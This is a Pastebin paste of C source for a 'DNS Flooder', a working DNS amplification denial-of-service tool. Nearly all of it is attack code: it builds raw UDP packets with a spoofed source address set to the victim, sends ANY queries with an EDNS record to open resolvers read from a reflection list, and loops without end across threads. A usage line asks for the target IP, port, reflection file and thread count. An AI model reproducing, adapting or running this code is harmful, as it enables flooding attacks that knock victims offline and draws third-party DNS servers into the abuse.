xunilix

dns.c

Jun 4th, 2016
8,938
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 9.87 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #include <arpa/inet.h>
  11.  
  12. #define MAX_PACKET_SIZE 8192
  13. #define PHI 0x9e3779b9
  14. #define PACKETS_PER_RESOLVER 15
  15.  
  16. static uint32_t Q[4096], c = 362436;
  17.  
  18. struct list
  19. {
  20.     struct sockaddr_in data;
  21.     char domain[512];
  22.     int line;
  23.     struct list *next;
  24.     struct list *prev;
  25. };
  26. struct list *head;
  27.  
  28. struct thread_data{
  29.     int thread_id;
  30.     struct list *list_node;
  31.     struct sockaddr_in sin;
  32.     int port;
  33. };
  34.  
  35. struct DNS_HEADER
  36. {
  37.     unsigned short id; // identification number
  38.  
  39.     unsigned char rd :1; // recursion desired
  40.     unsigned char tc :1; // truncated message
  41.     unsigned char aa :1; // authoritive answer
  42.     unsigned char opcode :4; // purpose of message
  43.     unsigned char qr :1; // query/response flag
  44.  
  45.     unsigned char rcode :4; // response code
  46.     unsigned char cd :1; // checking disabled
  47.     unsigned char ad :1; // authenticated data
  48.     unsigned char z :1; // its z! reserved
  49.     unsigned char ra :1; // recursion available
  50.  
  51.     unsigned short q_count; // number of question entries
  52.     unsigned short ans_count; // number of answer entries
  53.     unsigned short auth_count; // number of authority entries
  54.     unsigned short add_count; // number of resource entries
  55. };
  56.  
  57. //Constant sized fields of query structure
  58. struct QUESTION
  59. {
  60.   unsigned short qtype;
  61.   unsigned short qclass;
  62. };
  63.  
  64. //Constant sized fields of the resource record structure
  65. struct QUERY
  66. {
  67.     unsigned char *name;
  68.     struct QUESTION *ques;
  69. };
  70.  
  71. void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
  72. {
  73.     int lock = 0 , i;
  74.     strcat((char*)host,".");
  75.  
  76.     for(i = 0 ; i < strlen((char*)host) ; i++)
  77.     {
  78.     if(host[i]=='.')
  79.     {
  80.     *dns++ = i-lock;
  81.     for(;lock<i;lock++)
  82.     {
  83.     *dns++=host[lock];
  84.     }
  85.     lock++; //or lock=i+1;
  86.     }
  87.     }
  88.     *dns++='\0';
  89. }
  90.  
  91. void init_rand(uint32_t x)
  92. {
  93.     int i;
  94.  
  95.     Q[0] = x;
  96.     Q[1] = x + PHI;
  97.     Q[2] = x + PHI + PHI;
  98.  
  99.     for (i = 3; i < 4096; i++)
  100.     Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  101. }
  102.  
  103. uint32_t rand_cmwc(void)
  104. {
  105.     uint64_t t, a = 18782LL;
  106.     static uint32_t i = 4095;
  107.     uint32_t x, r = 0xffe;
  108.     i = (i + 1) & 4095;
  109.     t = a * Q[i] + c;
  110.     c = (t >> 32);
  111.     x = t + c;
  112.     if (x < c) {
  113.     x++;
  114.     c++;
  115.     }
  116.     return (Q[i] = r - x);
  117. }
  118.  
  119. /* function for header checksums */
  120. unsigned short csum (unsigned short *buf, int nwords)
  121. {
  122.     unsigned long sum;
  123.     for (sum = 0; nwords > 0; nwords--)
  124.     sum += *buf++;
  125.     sum = (sum >> 16) + (sum & 0xffff);
  126.     sum += (sum >> 16);
  127.     return (unsigned short)(~sum);
  128. }
  129.  
  130. void setup_udp_header(struct udphdr *udph)
  131. {
  132.  
  133. }
  134.  
  135. void *flood(void *par1)
  136. {
  137.     struct thread_data *td = (struct thread_data *)par1;
  138.  
  139.     char strPacket[MAX_PACKET_SIZE];
  140.     int iPayloadSize = 0;
  141.  
  142.     struct sockaddr_in sin = td->sin;
  143.     struct list *list_node = td->list_node;
  144.     int iPort = td->port;
  145.  
  146.     int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  147.     if(s < 0)
  148.     {
  149.     fprintf(stderr, "Could not open raw socket. You need to be root!\n");
  150.     exit(-1);
  151.     }
  152.  
  153.     //init random
  154.     init_rand(time(NULL));
  155.  
  156.     // Clear the data
  157.     memset(strPacket, 0, MAX_PACKET_SIZE);
  158.  
  159.     // Make the packet
  160.     struct iphdr *iph = (struct iphdr *) &strPacket;
  161.     iph->ihl = 5;
  162.     iph->version = 4;
  163.     iph->tos = 0;
  164.     iph->tot_len = sizeof(struct iphdr) + 38;
  165.     iph->id = htonl(54321);
  166.     iph->frag_off = 0;
  167.     iph->ttl = MAXTTL;
  168.     iph->protocol = IPPROTO_UDP;
  169.     iph->check = 0;
  170.     iph->saddr = inet_addr("192.168.5.100");
  171.  
  172.     iPayloadSize += sizeof(struct iphdr);
  173.  
  174.     struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
  175.     udph->source = htons(iPort);
  176.     udph->dest = htons(53);
  177.     udph->check = 0;
  178.  
  179.     iPayloadSize += sizeof(struct udphdr);
  180.  
  181.     struct DNS_HEADER *dns  = (struct DNS_HEADER *) &strPacket[iPayloadSize];
  182.     dns->id = (unsigned short) htons(rand_cmwc());
  183.     dns->qr = 0; //This is a query
  184.     dns->opcode = 0; //This is a standard query
  185.     dns->aa = 0; //Not Authoritative
  186.     dns->tc = 0; //This message is not truncated
  187.     dns->rd = 1; //Recursion Desired
  188.     dns->ra = 0; //Recursion not available! hey we dont have it (lol)
  189.     dns->z = 0;
  190.     dns->ad = 0;
  191.     dns->cd = 0;
  192.     dns->rcode = 0;
  193.     dns->q_count = htons(1); //we have only 1 question
  194.     dns->ans_count = 0;
  195.     dns->auth_count = 0;
  196.     dns->add_count = htons(1);
  197.  
  198.     iPayloadSize += sizeof(struct DNS_HEADER);
  199.  
  200.     sin.sin_port = udph->source;
  201.     iph->saddr = sin.sin_addr.s_addr;
  202.     iph->daddr = list_node->data.sin_addr.s_addr;
  203.     iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  204.  
  205.     char strDomain[512];
  206.     int i;
  207.     int j = 0;
  208.     int iAdditionalSize = 0;
  209.     while(1)
  210.     {
  211.     if(j==2){
  212.     usleep(100);
  213.     j=0;
  214.     }
  215.  
  216.     //set the next node
  217.     list_node = list_node->next;
  218.  
  219.     //Clear the old domain and question
  220.     memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);
  221.  
  222.     //add the chosen domain and question
  223.     iAdditionalSize = 0;
  224.  
  225.     unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
  226.  
  227.     strcpy(strDomain, list_node->domain);
  228.     ChangetoDnsNameFormat(qname, strDomain);
  229.     //printf("!!%s %d\n", list_node->domain, list_node->line);
  230.  
  231.     iAdditionalSize += strlen(qname) + 1;
  232.  
  233.     struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
  234.     qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
  235.     qinfo->qclass = htons(1);
  236.  
  237.     iAdditionalSize += sizeof(struct QUESTION);
  238.  
  239.     strPacket[iPayloadSize + iAdditionalSize] = 0x00;
  240.     strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
  241.     strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
  242.     strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
  243.     strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
  244.     strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
  245.     strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
  246.     strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
  247.     strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
  248.     strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
  249.     strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
  250.     strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;
  251.  
  252.     iAdditionalSize += 11;
  253.  
  254.     //set new node data
  255.     iph->daddr = list_node->data.sin_addr.s_addr;
  256.  
  257.     udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
  258.     iph->tot_len = iPayloadSize + iAdditionalSize;
  259.  
  260.     udph->source = htons(rand_cmwc() & 0xFFFF);
  261.     iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  262.  
  263.     //send
  264.     for(i = 0; i < PACKETS_PER_RESOLVER; i++)
  265.     {
  266.     //usleep(1);
  267.     sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  268.     }
  269.  
  270.     j++;
  271.     }
  272. }
  273.  
  274. void ParseResolverLine(char *strLine, int iLine)
  275. {
  276.   char caIP[32] = "";
  277.   char caDNS[512] = "";
  278.  
  279.   int i;
  280.   char buffer[512] = "";
  281.  
  282.   int moved = 0;
  283.  
  284.   for(i = 0; i < strlen(strLine); i++)
  285.   {
  286.     if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
  287.     {
  288.     moved++;
  289.     continue;
  290.     }
  291.  
  292.     if(moved == 0)
  293.     {
  294.     caIP[strlen(caIP)] = (char) strLine[i];
  295.     }
  296.     else if(moved == 1)
  297.     {
  298.     caDNS[strlen(caDNS)] = (char) strLine[i];
  299.     }
  300.   }
  301.   //printf("Found resolver %s, domain %s!\n", caIP, caDNS);
  302.  
  303.   if(head == NULL)
  304.   {
  305.     head = (struct list *)malloc(sizeof(struct list));
  306.  
  307.     bzero(&head->data, sizeof(head->data));
  308.  
  309.     head->data.sin_addr.s_addr=inet_addr(caIP);
  310.     head->data.sin_port=htons(53);
  311.     strcpy(head->domain, caDNS);
  312.     head->line = iLine;
  313.     head->next = head;
  314.     head->prev = head;
  315.   }
  316.   else
  317.   {
  318.     struct list *new_node = (struct list *)malloc(sizeof(struct list));
  319.  
  320.     memset(new_node, 0x00, sizeof(struct list));
  321.  
  322.     new_node->data.sin_addr.s_addr=inet_addr(caIP);
  323.     new_node->data.sin_port=htons(53);
  324.     strcpy(new_node->domain, caDNS);
  325.     new_node->prev = head;
  326.     head->line = iLine;
  327.     new_node->next = head->next;
  328.     head->next = new_node;
  329.   }
  330. }
  331.  
  332. int main(int argc, char *argv[ ])
  333. {
  334.   if(argc < 4)
  335.   {
  336.     fprintf(stderr, "Invalid parameters!\n");
  337.     fprintf(stderr, "DNS Flooder v1.1\nUsage: %s <target IP/hostname> <port to hit> <reflection file (format: IP DOMAIN>> <number threads to use> <time (optional)>\n", argv[0]);
  338.     fprintf(stderr, "Reflection File Format: <IP>[space/tab]<DOMAIN>[space/tab]<IGNORED>[space/tab]<IGNORED>...\n");
  339.     exit(-1);
  340.   }
  341.  
  342. //  printf("1");
  343.   head = NULL;
  344.  
  345.   char *strLine = (char *) malloc(256);
  346.   strLine = memset(strLine, 0x00, 256);
  347.  
  348.   char strIP[32] = "";
  349.   char strDomain[256] = "";
  350.  
  351.   int iLine = 0; // 0 = ip, 1 = domain.
  352.  
  353.   FILE *list_fd = fopen(argv[3],  "r");
  354.   while(fgets(strLine, 256, list_fd) != NULL)
  355.   {
  356.     ParseResolverLine(strLine, iLine);
  357.     iLine++;
  358.   }
  359. //printf("2");
  360.  
  361.   int i = 0;
  362.   int num_threads = atoi(argv[4]);
  363.  
  364.   struct list *current = head->next;
  365.   pthread_t thread[num_threads];
  366.   struct sockaddr_in sin;
  367.   sin.sin_family = AF_INET;
  368.   sin.sin_port = htons(0);
  369.   sin.sin_addr.s_addr = inet_addr(argv[1]);
  370.   struct thread_data td[num_threads];
  371.  
  372.   int iPort = atoi(argv[2]);
  373. //printf("3");
  374. //printf("Target: %s:%d\n", argv[1], iPort);
  375.  
  376.   for(i = 0; i < num_threads; i++)
  377.   {
  378.     current = current->next;
  379.     td[i].thread_id = i;
  380.     td[i].sin= sin;
  381.     td[i].list_node = current;
  382.     td[i].port = iPort;
  383.     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  384.   }
  385. //printf("4");
  386. //  fprintf(stdout, "Starting Flood...\n");
  387.  
  388.   if(argc > 4)
  389.   {
  390.     sleep(atoi(argv[5]));
  391.   }
  392.   else
  393.   {
  394.     while(1)
  395.     {
  396.     sleep(1);
  397.     }
  398.   }
  399. //printf("5");
  400.   return 0;
  401. }
Advertisement
Add Comment
Please, Sign In to add comment